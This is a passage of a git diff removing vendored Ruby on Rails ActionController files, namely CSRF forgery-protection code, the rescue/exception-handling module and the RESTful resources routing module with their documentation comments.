-      #     protect_from_forgery :except => :index
-      #
-      #     # you can disable csrf protection on controller-by-controller basis:
-      #     skip_before_filter :verify_authenticity_token
-      #   end
-      #
-      # Valid Options:
-      #
-      # * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call.  Set which actions are verified.
-      def protect_from_forgery(options = {})
-        self.request_forgery_protection_token ||= :authenticity_token
-        before_filter :verify_authenticity_token, :only => options.delete(:only), :except => options.delete(:except)
-        if options[:secret] || options[:digest]
-          ActiveSupport::Deprecation.warn("protect_from_forgery only takes :only and :except options now. :digest and :secret have no effect", caller)
-        end
-      end
-    end
-
-    protected
-      # The actual before_filter that is used.  Modify this to change how you handle unverified requests.
-      def verify_authenticity_token
-        verified_request? || handle_unverified_request
-      end
-
-      def handle_unverified_request
-        reset_session
-      end
-      
-      # Returns true or false if a request is verified.  Checks:
-      #
-      # * is the format restricted?  By default, only HTML requests are checked.
-      # * is it a GET request?  Gets should be safe and idempotent
-      # * Does the form_authenticity_token match the given token value from the params?
-      def verified_request?
-        !protect_against_forgery?                            ||
-          request.get?                                       ||
-          form_authenticity_token == form_authenticity_param ||
-          form_authenticity_token == request.headers['X-CSRF-Token']
-      end
-
-      def form_authenticity_param
-        params[request_forgery_protection_token]
-      end
-
-      def verifiable_request_format?
-        !request.content_type.nil? && request.content_type.verify_request?
-      end
-    
-      # Sets the token value for the current session.  Pass a <tt>:secret</tt> option
-      # in +protect_from_forgery+ to add a custom salt to the hash.
-      def form_authenticity_token
-        session[:_csrf_token] ||= ActiveSupport::SecureRandom.base64(32)
-      end
-
-      def protect_against_forgery?
-        allow_forgery_protection && request_forgery_protection_token
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/rescue.rb b/vendor/rails/actionpack/lib/action_controller/rescue.rb
deleted file mode 100644
index 81bf2c16..00000000
--- a/vendor/rails/actionpack/lib/action_controller/rescue.rb
+++ /dev/null
@@ -1,183 +0,0 @@
-module ActionController #:nodoc:
-  # Actions that fail to perform as expected throw exceptions. These
-  # exceptions can either be rescued for the public view (with a nice
-  # user-friendly explanation) or for the developers view (with tons of
-  # debugging information). The developers view is already implemented by
-  # the Action Controller, but the public view should be tailored to your
-  # specific application.
-  #
-  # The default behavior for public exceptions is to render a static html
-  # file with the name of the error code thrown.  If no such file exists, an
-  # empty response is sent with the correct status code.
-  #
-  # You can override what constitutes a local request by overriding the
-  # <tt>local_request?</tt> method in your own controller. Custom rescue
-  # behavior is achieved by overriding the <tt>rescue_action_in_public</tt>
-  # and <tt>rescue_action_locally</tt> methods.
-  module Rescue
-    LOCALHOST = [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/].freeze
-
-    DEFAULT_RESCUE_RESPONSE = :internal_server_error
-    DEFAULT_RESCUE_RESPONSES = {
-      'ActionController::RoutingError'             => :not_found,
-      'ActionController::UnknownAction'            => :not_found,
-      'ActiveRecord::RecordNotFound'               => :not_found,
-      'ActiveRecord::StaleObjectError'             => :conflict,
-      'ActiveRecord::RecordInvalid'                => :unprocessable_entity,
-      'ActiveRecord::RecordNotSaved'               => :unprocessable_entity,
-      'ActionController::MethodNotAllowed'         => :method_not_allowed,
-      'ActionController::NotImplemented'           => :not_implemented,
-      'ActionController::InvalidAuthenticityToken' => :unprocessable_entity
-    }
-
-    DEFAULT_RESCUE_TEMPLATE = 'diagnostics'
-    DEFAULT_RESCUE_TEMPLATES = {
-      'ActionView::MissingTemplate'       => 'missing_template',
-      'ActionController::RoutingError'    => 'routing_error',
-      'ActionController::UnknownAction'   => 'unknown_action',
-      'ActionView::TemplateError'         => 'template_error'
-    }
-
-    RESCUES_TEMPLATE_PATH = ActionView::Template::EagerPath.new_and_loaded(
-      File.join(File.dirname(__FILE__), "templates"))
-
-    def self.included(base) #:nodoc:
-      base.cattr_accessor :rescue_responses
-      base.rescue_responses = Hash.new(DEFAULT_RESCUE_RESPONSE)
-      base.rescue_responses.update DEFAULT_RESCUE_RESPONSES
-
-      base.cattr_accessor :rescue_templates
-      base.rescue_templates = Hash.new(DEFAULT_RESCUE_TEMPLATE)
-      base.rescue_templates.update DEFAULT_RESCUE_TEMPLATES
-
-      base.extend(ClassMethods)
-      base.send :include, ActiveSupport::Rescuable
-
-      base.class_eval do
-        alias_method_chain :perform_action, :rescue
-      end
-    end
-
-    module ClassMethods
-      def call_with_exception(env, exception) #:nodoc:
-        request = env["action_controller.rescue.request"] ||= Request.new(env)
-        response = env["action_controller.rescue.response"] ||= Response.new
-        new.process(request, response, :rescue_action, exception)
-      end
-    end
-
-    protected
-      # Exception handler called when the performance of an action raises
-      # an exception.
-      def rescue_action(exception)
-        rescue_with_handler(exception) ||
-          rescue_action_without_handler(exception)
-      end
-
-      # Overwrite to implement custom logging of errors. By default
-      # logs as fatal.
-      def log_error(exception) #:doc:
-        ActiveSupport::Deprecation.silence do
-          if ActionView::TemplateError === exception
-            logger.fatal(exception.to_s)
-          else
-            logger.fatal(
-              "\n#{exception.class} (#{exception.message}):\n  " +
-              clean_backtrace(exception).join("\n  ") + "\n\n"
-            )
-          end
-        end
-      end
-
-      # Overwrite to implement public exception handling (for requests
-      # answering false to <tt>local_request?</tt>).  By default will call
-      # render_optional_error_file.  Override this method to provide more
-      # user friendly error messages.
-      def rescue_action_in_public(exception) #:doc:
-        render_optional_error_file response_code_for_rescue(exception)
-      end
-
-      # Attempts to render a static error page based on the
-      # <tt>status_code</tt> thrown, or just return headers if no such file
-      # exists. At first, it will try to render a localized static page.
-      # For example, if a 500 error is being handled Rails and locale is :da,
-      # it will first attempt to render the file at <tt>public/500.da.html</tt>
-      # then attempt to render <tt>public/500.html</tt>. If none of them exist,
-      # the body of the response will be left empty.
-      def render_optional_error_file(status_code)
-        status = interpret_status(status_code)
-        locale_path = "#{Rails.public_path}/#{status[0,3]}.#{I18n.locale}.html" if I18n.locale
-        path = "#{Rails.public_path}/#{status[0,3]}.html"
-
-        if locale_path && File.exist?(locale_path)
-          render :file => locale_path, :status => status, :content_type => Mime::HTML
-        elsif File.exist?(path)
-          render :file => path, :status => status, :content_type => Mime::HTML
-        else
-          head status
-        end
-      end
-
-      # True if the request came from localhost, 127.0.0.1. Override this
-      # method if you wish to redefine the meaning of a local request to
-      # include remote IP addresses or other criteria.
-      def local_request? #:doc:
-        LOCALHOST.any?{ |local_ip| request.remote_addr =~ local_ip && request.remote_ip =~ local_ip }
-      end
-
-      # Render detailed diagnostics for unhandled exceptions rescued from
-      # a controller action.
-      def rescue_action_locally(exception)
-        @template.instance_variable_set("@exception", exception)
-        @template.instance_variable_set("@rescues_path", RESCUES_TEMPLATE_PATH)
-        @template.instance_variable_set("@contents",
-          @template.render(:file => template_path_for_local_rescue(exception)))
-
-        response.content_type = Mime::HTML
-        render_for_file(rescues_path("layout"),
-          response_code_for_rescue(exception))
-      end
-
-      def rescue_action_without_handler(exception)
-        log_error(exception) if logger
-        erase_results if performed?
-
-        # Let the exception alter the response if it wants.
-        # For example, MethodNotAllowed sets the Allow header.
-        if exception.respond_to?(:handle_response!)
-          exception.handle_response!(response)
-        end
-
-        if consider_all_requests_local || local_request?
-          rescue_action_locally(exception)
-        else
-          rescue_action_in_public(exception)
-        end
-      end
-
-    private
-      def perform_action_with_rescue #:nodoc:
-        perform_action_without_rescue
-      rescue Exception => exception
-        rescue_action(exception)
-      end
-
-      def rescues_path(template_name)
-        RESCUES_TEMPLATE_PATH["rescues/#{template_name}.erb"]
-      end
-
-      def template_path_for_local_rescue(exception)
-        rescues_path(rescue_templates[exception.class.name])
-      end
-
-      def response_code_for_rescue(exception)
-        rescue_responses[exception.class.name]
-      end
-
-      def clean_backtrace(exception)
-        defined?(Rails) && Rails.respond_to?(:backtrace_cleaner) ?
-          Rails.backtrace_cleaner.clean(exception.backtrace) :
-          exception.backtrace
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/resources.rb b/vendor/rails/actionpack/lib/action_controller/resources.rb
deleted file mode 100644
index 9348ed96..00000000
--- a/vendor/rails/actionpack/lib/action_controller/resources.rb
+++ /dev/null
@@ -1,682 +0,0 @@
-module ActionController
-  # == Overview
-  #
-  # ActionController::Resources are a way of defining RESTful \resources.  A RESTful \resource, in basic terms,
-  # is something that can be pointed at and it will respond with a representation of the data requested.
-  # In real terms this could mean a user with a browser requests an HTML page, or that a desktop application
-  # requests XML data.
-  #
-  # RESTful design is based on the assumption that there are four generic verbs that a user of an
-  # application can request from a \resource (the noun).
-  #
-  # \Resources can be requested using four basic HTTP verbs (GET, POST, PUT, DELETE), the method used
-  # denotes the type of action that should take place.
-  #
-  # === The Different Methods and their Usage
-  #
-  # * GET    - Requests for a \resource, no saving or editing of a \resource should occur in a GET request.
-  # * POST   - Creation of \resources.
-  # * PUT    - Editing of attributes on a \resource.
-  # * DELETE - Deletion of a \resource.
-  #
-  # === Examples
-  #
-  #   # A GET request on the Posts resource is asking for all Posts
-  #   GET /posts
-  #
-  #   # A GET request on a single Post resource is asking for that particular Post
-  #   GET /posts/1
-  #
-  #   # A POST request on the Posts resource is asking for a Post to be created with the supplied details
-  #   POST /posts # with => { :post => { :title => "My Whizzy New Post", :body => "I've got a brand new combine harvester" } }
-  #
-  #   # A PUT request on a single Post resource is asking for a Post to be updated
-  #   PUT /posts # with => { :id => 1, :post => { :title => "Changed Whizzy Title" } }
-  #
-  #   # A DELETE request on a single Post resource is asking for it to be deleted
-  #   DELETE /posts # with => { :id => 1 }
-  #
-  # By using the REST convention, users of our application can assume certain things about how the data
-  # is requested and how it is returned.  Rails simplifies the routing part of RESTful design by
-  # supplying you with methods to create them in your routes.rb file.
-  #
-  # Read more about REST at http://en.wikipedia.org/wiki/Representational_State_Transfer
-  module Resources
-    INHERITABLE_OPTIONS = :namespace, :shallow
-
-    class Resource #:nodoc:
-      DEFAULT_ACTIONS = :index, :create, :new, :edit, :show, :update, :destroy
-
-      attr_reader :collection_methods, :member_methods, :new_methods
-      attr_reader :path_prefix, :name_prefix, :path_segment
-      attr_reader :plural, :singular
-      attr_reader :options
-
-      def initialize(entities, options)
-        @plural   ||= entities
-        @singular ||= options[:singular] || plural.to_s.singularize
-        @path_segment = options.delete(:as) || @plural
-
-        @options = options
-
-        arrange_actions
-        add_default_actions
-        set_allowed_actions
-        set_prefixes
-      end
-
-      def controller
-        @controller ||= "#{options[:namespace]}#{(options[:controller] || plural).to_s}"
-      end
-
-      def requirements(with_id = false)
-        @requirements   ||= @options[:requirements] || {}
-        @id_requirement ||= { :id => @requirements.delete(:id) || /[^#{Routing::SEPARATORS.join}]+/ }
-
-        with_id ? @requirements.merge(@id_requirement) : @requirements
-      end
-
-      def conditions
-        @conditions ||= @options[:conditions] || {}
-      end
-
-      def path
-        @path ||= "#{path_prefix}/#{path_segment}"
-      end
-
-      def new_path
-        new_action   = self.options[:path_names][:new] if self.options[:path_names]
-        new_action ||= Base.resources_path_names[:new]
-        @new_path  ||= "#{path}/#{new_action}"
-      end
-
-      def shallow_path_prefix
-        @shallow_path_prefix ||= @options[:shallow] ? @options[:namespace].try(:sub, /\/$/, '') : path_prefix
-      end
-
-      def member_path
-        @member_path ||= "#{shallow_path_prefix}/#{path_segment}/:id"
-      end
-
-      def nesting_path_prefix
-        @nesting_path_prefix ||= "#{shallow_path_prefix}/#{path_segment}/:#{singular}_id"
-      end
-
-      def shallow_name_prefix
-        @shallow_name_prefix ||= @options[:shallow] ? @options[:namespace].try(:gsub, /\//, '_') : name_prefix
-      end
-
-      def nesting_name_prefix
-        "#{shallow_name_prefix}#{singular}_"
-      end
-
-      def action_separator
-        @action_separator ||= Base.resource_action_separator
-      end
-
-      def uncountable?
-        @singular.to_s == @plural.to_s
-      end
-
-      def has_action?(action)
-        !DEFAULT_ACTIONS.include?(action) || action_allowed?(action)
-      end
-
-      protected
-        def arrange_actions
-          @collection_methods = arrange_actions_by_methods(options.delete(:collection))
-          @member_methods     = arrange_actions_by_methods(options.delete(:member))
-          @new_methods        = arrange_actions_by_methods(options.delete(:new))
-        end
-
-        def add_default_actions
-          add_default_action(member_methods, :get, :edit)
-          add_default_action(new_methods, :get, :new)
-        end
-
-        def set_allowed_actions
-          only, except = @options.values_at(:only, :except)
-          @allowed_actions ||= {}
-
-          if only == :all || except == :none
-            only = nil
-            except = []
-          elsif only == :none || except == :all
-            only = []
-            except = nil
-          end
-
-          if only
-            @allowed_actions[:only] = Array(only).map(&:to_sym)
-          elsif except
-            @allowed_actions[:except] = Array(except).map(&:to_sym)
-          end
-        end
-
-        def action_allowed?(action)
-          only, except = @allowed_actions.values_at(:only, :except)
-          (!only || only.include?(action)) && (!except || !except.include?(action))
-        end
-
-        def set_prefixes
-          @path_prefix = options.delete(:path_prefix)
-          @name_prefix = options.delete(:name_prefix)
-        end
-
-        def arrange_actions_by_methods(actions)
-          (actions || {}).inject({}) do |flipped_hash, (key, value)|
-            (flipped_hash[value] ||= []) << key
-            flipped_hash
-          end
-        end
-
-        def add_default_action(collection, method, action)
-          (collection[method] ||= []).unshift(action)
-        end
-    end
-
-    class SingletonResource < Resource #:nodoc:
-      def initialize(entity, options)
-        @singular = @plural = entity
-        options[:controller] ||= @singular.to_s.pluralize
-        super
-      end
-
-      alias_method :shallow_path_prefix, :path_prefix
-      alias_method :shallow_name_prefix, :name_prefix
-      alias_method :member_path,         :path
-      alias_method :nesting_path_prefix, :path
-    end
-
-    # Creates named routes for implementing verb-oriented controllers
-    # for a collection \resource.
-    #
-    # For example:
-    #
-    #   map.resources :messages
-    #
-    # will map the following actions in the corresponding controller:
-    #
-    #   class MessagesController < ActionController::Base
-    #     # GET messages_url
-    #     def index
-    #       # return all messages
-    #     end
-    #
-    #     # GET new_message_url
-    #     def new
-    #       # return an HTML form for describing a new message
-    #     end
-    #
-    #     # POST messages_url
-    #     def create
-    #       # create a new message
-    #     end
-    #
-    #     # GET message_url(:id => 1)
-    #     def show
-    #       # find and return a specific message
-    #     end
-    #
-    #     # GET edit_message_url(:id => 1)
-    #     def edit
-    #       # return an HTML form for editing a specific message
-    #     end
-    #
-    #     # PUT message_url(:id => 1)
-    #     def update
-    #       # find and update a specific message
-    #     end
-    #
-    #     # DELETE message_url(:id => 1)
-    #     def destroy
-    #       # delete a specific message
-    #     end
-    #   end
-    #
-    # Along with the routes themselves, +resources+ generates named routes for use in
-    # controllers and views. <tt>map.resources :messages</tt> produces the following named routes and helpers:
-    #
-    #   Named Route   Helpers
-    #   ============  =====================================================
-    #   messages      messages_url, hash_for_messages_url,
-    #                 messages_path, hash_for_messages_path
-    #
-    #   message       message_url(id), hash_for_message_url(id),
-    #                 message_path(id), hash_for_message_path(id)
-    #
-    #   new_message   new_message_url, hash_for_new_message_url,
-    #                 new_message_path, hash_for_new_message_path
-    #
-    #   edit_message  edit_message_url(id), hash_for_edit_message_url(id),
-    #                 edit_message_path(id), hash_for_edit_message_path(id)
-    #
-    # You can use these helpers instead of +url_for+ or methods that take +url_for+ parameters. For example:
-    #
-    #   redirect_to :controller => 'messages', :action => 'index'
-    #   # and
-    #   <%= link_to "edit this message", :controller => 'messages', :action => 'edit', :id => @message.id %>
-    #
-    # now become:
-    #
-    #   redirect_to messages_url
-    #   # and
-    #   <%= link_to "edit this message", edit_message_url(@message) # calls @message.id automatically
-    #
-    # Since web browsers don't support the PUT and DELETE verbs, you will need to add a parameter '_method' to your
-    # form tags. The form helpers make this a little easier. For an update form with a <tt>@message</tt> object:
-    #
-    #   <%= form_tag message_path(@message), :method => :put %>
-    #
-    # or
-    #
-    #   <% form_for :message, @message, :url => message_path(@message), :html => {:method => :put} do |f| %>
-    #
-    # or
-    #
-    #   <% form_for @message do |f| %>
-    #
-    # which takes into account whether <tt>@message</tt> is a new record or not and generates the
-    # path and method accordingly.
-    #
-    # The +resources+ method accepts the following options to customize the resulting routes:
-    # * <tt>:collection</tt> - Add named routes for other actions that operate on the collection.
-    #   Takes a hash of <tt>#{action} => #{method}</tt>, where method is <tt>:get</tt>/<tt>:post</tt>/<tt>:put</tt>/<tt>:delete</tt>,
-    #   an array of any of the previous, or <tt>:any</tt> if the method does not matter.
-    #   These routes map to a URL like /messages/rss, with a route of +rss_messages_url+.
-    # * <tt>:member</tt> - Same as <tt>:collection</tt>, but for actions that operate on a specific member.
-    # * <tt>:new</tt> - Same as <tt>:collection</tt>, but for actions that operate on the new \resource action.
-    # * <tt>:controller</tt> - Specify the controller name for the routes.
-    # * <tt>:singular</tt> - Specify the singular name used in the member routes.
-    # * <tt>:requirements</tt> - Set custom routing parameter requirements; this is a hash of either 
-    #     regular expressions (which must match for the route to match) or extra parameters. For example:
-    #
-    #       map.resource :profile, :path_prefix => ':name', :requirements => { :name => /[a-zA-Z]+/, :extra => 'value' }
-    #
-    #     will only match if the first part is alphabetic, and will pass the parameter :extra to the controller.
-    # * <tt>:conditions</tt> - Specify custom routing recognition conditions.  \Resources sets the <tt>:method</tt> value for the method-specific routes.
-    # * <tt>:as</tt> - Specify a different \resource name to use in the URL path. For example:
-    #     # products_path == '/productos'
-    #     map.resources :products, :as => 'productos' do |product|
-    #       # product_reviews_path(product) == '/productos/1234/comentarios'
-    #       product.resources :product_reviews, :as => 'comentarios'
-    #     end
-    #
-    # * <tt>:has_one</tt> - Specify nested \resources, this is a shorthand for mapping singleton \resources beneath the current.
-    # * <tt>:has_many</tt> - Same has <tt>:has_one</tt>, but for plural \resources.
-    #
-    #   You may directly specify the routing association with +has_one+ and +has_many+ like:
-    #
-    #     map.resources :notes, :has_one => :author, :has_many => [:comments, :attachments]
-    #
-    #   This is the same as:
-    #
-    #     map.resources :notes do |notes|
-    #       notes.resource  :author
-    #       notes.resources :comments
-    #       notes.resources :attachments
-    #     end
-    #
-    # * <tt>:path_names</tt> - Specify different path names for the actions. For example:
-    #     # new_products_path == '/productos/nuevo'
-    #     # bids_product_path(1) == '/productos/1/licitacoes'
-    #     map.resources :products, :as => 'productos', :member => { :bids => :get }, :path_names => { :new => 'nuevo', :bids => 'licitacoes' }
-    #
-    #   You can also set default action names from an environment, like this:
-    #     config.action_controller.resources_path_names = { :new => 'nuevo', :edit => 'editar' }
-    #
-    # * <tt>:path_prefix</tt> - Set a prefix to the routes with required route variables.
-    #
-    #   Weblog comments usually belong to a post, so you might use +resources+ like:
-    #
-    #     map.resources :articles
-    #     map.resources :comments, :path_prefix => '/articles/:article_id'
-    #
-    #   You can nest +resources+ calls to set this automatically:
-    #
-    #     map.resources :articles do |article|
-    #       article.resources :comments
-    #     end
-    #
-    #   The comment \resources work the same, but must now include a value for <tt>:article_id</tt>.
-    #
-    #     article_comments_url(@article)
-    #     article_comment_url(@article, @comment)
-    #
-    #     article_comments_url(:article_id => @article)
-    #     article_comment_url(:article_id => @article, :id => @comment)
-    #
-    #   If you don't want to load all objects from the database you might want to use the <tt>article_id</tt> directly:
-    #
-    #     articles_comments_url(@comment.article_id, @comment)
-    #
-    # * <tt>:name_prefix</tt> - Define a prefix for all generated routes, usually ending in an underscore.
-    #   Use this if you have named routes that may clash.
-    #
-    #     map.resources :tags, :path_prefix => '/books/:book_id', :name_prefix => 'book_'
-    #     map.resources :tags, :path_prefix => '/toys/:toy_id',   :name_prefix => 'toy_'
-    #
-    # You may also use <tt>:name_prefix</tt> to override the generic named routes in a nested \resource:
-    #
-    #   map.resources :articles do |article|
-    #     article.resources :comments, :name_prefix => nil
-    #   end
-    #
-    # This will yield named \resources like so:
-    #
-    #   comments_url(@article)
-    #   comment_url(@article, @comment)
-    #
-    # * <tt>:shallow</tt> - If true, paths for nested resources which reference a specific member
-    #   (ie. those with an :id parameter) will not use the parent path prefix or name prefix.
-    #
-    # The <tt>:shallow</tt> option is inherited by any nested resource(s).
-    #
-    # For example, 'users', 'posts' and 'comments' all use shallow paths with the following nested resources:
-    #
-    #   map.resources :users, :shallow => true do |user|
-    #     user.resources :posts do |post|
-    #       post.resources :comments
-    #     end
-    #   end
-    #   # --> GET /users/1/posts (maps to the PostsController#index action as usual)
-    #   #     also adds the usual named route called "user_posts"
-    #   # --> GET /posts/2 (maps to the PostsController#show action as if it were not nested)
-    #   #     also adds the named route called "post"
-    #   # --> GET /posts/2/comments (maps to the CommentsController#index action)
-    #   #     also adds the named route called "post_comments"
-    #   # --> GET /comments/2 (maps to the CommentsController#show action as if it were not nested)
-    #   #     also adds the named route called "comment"
-    #
-    # You may also use <tt>:shallow</tt> in combination with the +has_one+ and +has_many+ shorthand notations like:
-    #
-    #   map.resources :users, :has_many => { :posts => :comments }, :shallow => true
-    #
-    # * <tt>:only</tt> and <tt>:except</tt> - Specify which of the seven default actions should be routed to.
-    #
-    # <tt>:only</tt> and <tt>:except</tt> may be set to <tt>:all</tt>, <tt>:none</tt>, an action name or a
-    # list of action names. By default, routes are generated for all seven actions.
-    #
-    # For example:
-    #
-    #   map.resources :posts, :only => [:index, :show] do |post|
-    #     post.resources :comments, :except => [:update, :destroy]
-    #   end
-    #   # --> GET /posts (maps to the PostsController#index action)
-    #   # --> POST /posts (fails)
-    #   # --> GET /posts/1 (maps to the PostsController#show action)
-    #   # --> DELETE /posts/1 (fails)
-    #   # --> POST /posts/1/comments (maps to the CommentsController#create action)
-    #   # --> PUT /posts/1/comments/1 (fails)
-    #
-    # If <tt>map.resources</tt> is called with multiple resources, they all get the same options applied.
-    #
-    # Examples:
-    #
-    #   map.resources :messages, :path_prefix => "/thread/:thread_id"
-    #   # --> GET /thread/7/messages/1
-    #
-    #   map.resources :messages, :collection => { :rss => :get }
-    #   # --> GET /messages/rss (maps to the #rss action)
-    #   #     also adds a named route called "rss_messages"
-    #
-    #   map.resources :messages, :member => { :mark => :post }
-    #   # --> POST /messages/1/mark (maps to the #mark action)
-    #   #     also adds a named route called "mark_message"
-    #
-    #   map.resources :messages, :new => { :preview => :post }
-    #   # --> POST /messages/new/preview (maps to the #preview action)
-    #   #     also adds a named route called "preview_new_message"
-    #
-    #   map.resources :messages, :new => { :new => :any, :preview => :post }
-    #   # --> POST /messages/new/preview (maps to the #preview action)
-    #   #     also adds a named route called "preview_new_message"
-    #   # --> /messages/new can be invoked via any request method
-    #
-    #   map.resources :messages, :controller => "categories",
-    #         :path_prefix => "/category/:category_id",
-    #         :name_prefix => "category_"
-    #   # --> GET /categories/7/messages/1
-    #   #     has named route "category_message"
-    #
-    # The +resources+ method sets HTTP method restrictions on the routes it generates. For example, making an
-    # HTTP POST on <tt>new_message_url</tt> will raise a RoutingError exception. The default route in
-    # <tt>config/routes.rb</tt> overrides this and allows invalid HTTP methods for \resource routes.
-    def resources(*entities, &block)
-      options = entities.extract_options!
-      entities.each { |entity| map_resource(entity, options.dup, &block) }
-    end
-
-    # Creates named routes for implementing verb-oriented controllers for a singleton \resource.
-    # A singleton \resource is global to its current context.  For unnested singleton \resources,
-    # the \resource is global to the current user visiting the application, such as a user's
-    # <tt>/account</tt> profile.  For nested singleton \resources, the \resource is global to its parent
-    # \resource, such as a <tt>projects</tt> \resource that <tt>has_one :project_manager</tt>.
-    # The <tt>project_manager</tt> should be mapped as a singleton \resource under <tt>projects</tt>:
-    #
-    #   map.resources :projects do |project|
-    #     project.resource :project_manager
-    #   end
-    #
-    # See +resources+ for general conventions.  These are the main differences:
-    # * A singular name is given to <tt>map.resource</tt>.  The default controller name is still taken from the plural name.
-    # * To specify a custom plural name, use the <tt>:plural</tt> option.  There is no <tt>:singular</tt> option.
-    # * No default index route is created for the singleton \resource controller.
-    # * When nesting singleton \resources, only the singular name is used as the path prefix (example: 'account/messages/1')
-    #
-    # For example:
-    #
-    #   map.resource :account
-    #
-    # maps these actions in the Accounts controller:
-    #
-    #   class AccountsController < ActionController::Base
-    #     # GET new_account_url
-    #     def new
-    #       # return an HTML form for describing the new account
-    #     end
-    #
-    #     # POST account_url
-    #     def create
-    #       # create an account
-    #     end
-    #
-    #     # GET account_url
-    #     def show
-    #       # find and return the account
-    #     end
-    #
-    #     # GET edit_account_url
-    #     def edit
-    #       # return an HTML form for editing the account
-    #     end
-    #
-    #     # PUT account_url
-    #     def update
-    #       # find and update the account
-    #     end
-    #
-    #     # DELETE account_url
-    #     def destroy
-    #       # delete the account
-    #     end
-    #   end
-    #
-    # Along with the routes themselves, +resource+ generates named routes for
-    # use in controllers and views. <tt>map.resource :account</tt> produces
-    # these named routes and helpers:
-    #
-    #   Named Route   Helpers
-    #   ============  =============================================
-    #   account       account_url, hash_for_account_url,
-    #                 account_path, hash_for_account_path
-    #
-    #   new_account   new_account_url, hash_for_new_account_url,
-    #                 new_account_path, hash_for_new_account_path
-    #
-    #   edit_account  edit_account_url, hash_for_edit_account_url,
-    #                 edit_account_path, hash_for_edit_account_path
-    def resource(*entities, &block)
-      options = entities.extract_options!
-      entities.each { |entity| map_singleton_resource(entity, options.dup, &block) }
-    end
-
-    private
-      def map_resource(entities, options = {}, &block)
-        resource = Resource.new(entities, options)
-
-        with_options :controller => resource.controller do |map|
-          map_associations(resource, options)
-
-          if block_given?
-            with_options(options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix), &block)
-          end
-
-          map_collection_actions(map, resource)
-          map_default_collection_actions(map, resource)
-          map_new_actions(map, resource)
-          map_member_actions(map, resource)
-        end
-      end
-
-      def map_singleton_resource(entities, options = {}, &block)
-        resource = SingletonResource.new(entities, options)
-
-        with_options :controller => resource.controller do |map|
-          map_associations(resource, options)
-
-          if block_given?
-            with_options(options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix), &block)
-          end
-
-          map_collection_actions(map, resource)
-          map_new_actions(map, resource)
-          map_member_actions(map, resource)
-          map_default_singleton_actions(map, resource)
-        end
-      end
-
-      def map_associations(resource, options)
-        map_has_many_associations(resource, options.delete(:has_many), options) if options[:has_many]
-
-        path_prefix = "#{options.delete(:path_prefix)}#{resource.nesting_path_prefix}"
-        name_prefix = "#{options.delete(:name_prefix)}#{resource.nesting_name_prefix}"
-
-        Array(options[:has_one]).each do |association|
-          resource(association, options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => path_prefix, :name_prefix => name_prefix))
-        end
-      end
-
-      def map_has_many_associations(resource, associations, options)
-        case associations
-        when Hash
-          associations.each do |association,has_many|
-            map_has_many_associations(resource, association, options.merge(:has_many => has_many))
-          end
-        when Array
-          associations.each do |association|
-            map_has_many_associations(resource, association, options)
-          end
-        when Symbol, String
-          resources(associations, options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix, :has_many => options[:has_many]))
-        else
-        end
-      end
-
-      def map_collection_actions(map, resource)
-        resource.collection_methods.each do |method, actions|
-          actions.each do |action|
-            [method].flatten.each do |m|
-              action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash)
-              action_path ||= action
-
-              map_resource_routes(map, resource, action, "#{resource.path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.name_prefix}#{resource.plural}", m)
-            end
-          end
-        end
-      end
-
-      def map_default_collection_actions(map, resource)
-        index_route_name = "#{resource.name_prefix}#{resource.plural}"
-
-        if resource.uncountable?
-          index_route_name << "_index"
-        end
-
-        map_resource_routes(map, resource, :index, resource.path, index_route_name)
-        map_resource_routes(map, resource, :create, resource.path, index_route_name)
-      end
-
-      def map_default_singleton_actions(map, resource)
-        map_resource_routes(map, resource, :create, resource.path, "#{resource.shallow_name_prefix}#{resource.singular}")
-      end
-
-      def map_new_actions(map, resource)
-        resource.new_methods.each do |method, actions|
-          actions.each do |action|
-            route_path = resource.new_path
-            route_name = "new_#{resource.name_prefix}#{resource.singular}"
-
-            unless action == :new
-              route_path = "#{route_path}#{resource.action_separator}#{action}"
-              route_name = "#{action}_#{route_name}"
-            end
-
-            map_resource_routes(map, resource, action, route_path, route_name, method)
-          end
-        end
-      end
-
-      def map_member_actions(map, resource)
-        resource.member_methods.each do |method, actions|
-          actions.each do |action|
-            [method].flatten.each do |m|
-              action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash)
-              action_path ||= Base.resources_path_names[action] || action
-
-              map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m, { :force_id => true })
-            end
-          end
-        end
-
-        route_path = "#{resource.shallow_name_prefix}#{resource.singular}"
-        map_resource_routes(map, resource, :show, resource.member_path, route_path)
-        map_resource_routes(map, resource, :update, resource.member_path, route_path)
-        map_resource_routes(map, resource, :destroy, resource.member_path, route_path)
-      end
-
-      def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil, resource_options = {} )
-        if resource.has_action?(action)
-          action_options = action_options_for(action, resource, method, resource_options)
-          formatted_route_path = "#{route_path}.:format"
-
-          if route_name && @set.named_routes[route_name.to_sym].nil?
-            map.named_route(route_name, formatted_route_path, action_options)
-          else
-            map.connect(formatted_route_path, action_options)
-          end
-        end
-      end
-
-      def add_conditions_for(conditions, method)
-        ({:conditions => conditions.dup}).tap do |options|
-          options[:conditions][:method] = method unless method == :any
-        end
-      end
-
-      def action_options_for(action, resource, method = nil, resource_options = {})
-        default_options = { :action => action.to_s }
-        require_id = !resource.kind_of?(SingletonResource)
-        force_id = resource_options[:force_id] && !resource.kind_of?(SingletonResource)
-
-        case default_options[:action]
-          when "index", "new"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements)
-          when "create";       default_options.merge(add_conditions_for(resource.conditions, method || :post)).merge(resource.requirements)
-          when "show", "edit"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements(require_id))
-          when "update";       default_options.merge(add_conditions_for(resource.conditions, method || :put)).merge(resource.requirements(require_id))
